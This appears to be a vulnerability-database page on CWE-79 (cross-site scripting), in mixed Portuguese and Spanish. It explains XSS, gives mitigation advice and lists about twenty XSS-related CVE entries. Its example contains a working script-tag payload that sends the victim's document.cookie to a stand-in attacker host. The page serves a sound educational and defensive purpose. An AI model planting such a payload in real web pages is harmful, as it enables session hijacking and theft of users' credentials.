Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-105086CRITICALWWBN AVideo 12.4 through 29.2.0 Stored XSS via Double-Encoded Video TitleEPSS 0.3%CVE-2023-53985MEDIUMZstore 6.5.4 - Reflected Cross-Site Scripting (XSS)EPSS 0.3%CVE-2020-36966MEDIUMDolibarr 11.0.3 - 'ldap.php' - Persistent Cross-Site ScriptingEPSS 0.3%CVE-2026-2719MEDIUMPrivate WP suite <= 0.4.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Exceptions' SettingEPSS 0.3%CVE-2019-25379MEDIUMSmoothwall Express 3.1 'urlfilter.cgi' Cross-Site ScriptingEPSS 0.3%CVE-2025-25124HIGHWordPress Status Updater Plugin <= 9.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-118438MEDIUMFirelight Lightbox < 2.3.24 - Contributor+ Stored XSS via Image 'src' AttributeEPSS 0.3%CVE-2024-9292MEDIUMBridge Core <= 3.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-110504MEDIUMEnable SVG, WebP, and ICO Upload 1.1.3 - 1.1.5 - Author+ Stored XSS via SVG Sanitization BypassEPSS 0.3%CVE-2024-3888MEDIUMtagDiv Composer <= 4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via button ShortcodeEPSS 0.3%CVE-2025-71179MEDIUMCreativeitem Academy LMS 7.0 contains reflected Cross-Site Scripting (XSS) vulnerabilities via the search parameter to the /academy/blogs enEPSS 0.3%CVE-2026-23476MEDIUMFacturaScripts Affected by Reflected XSSEPSS 0.3%CVE-2025-8294MEDIUMDownload Counter <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via name ParameterEPSS 0.3%CVE-2024-34128MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-28895HIGHWordPress Custom top bar plugin <= 2.1 - Cross Site Request Forgery (CSRF) vulnerabilityEPSS 0.3%CVE-2025-52896HIGHFrappe authenticated XSS via data importEPSS 0.3%CVE-2025-7819MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request create-pass.php cross site scriptingEPSS 0.3%CVE-2024-8666MEDIUMShoutcast Icecast HTML5 Radio Player <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-55872HIGHGYM One admin user list is vulnerable to stored cross-site scriptingEPSS 0.3%CVE-2023-7296MEDIUMBigBlueButton <= 3.0.0-beta.4 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%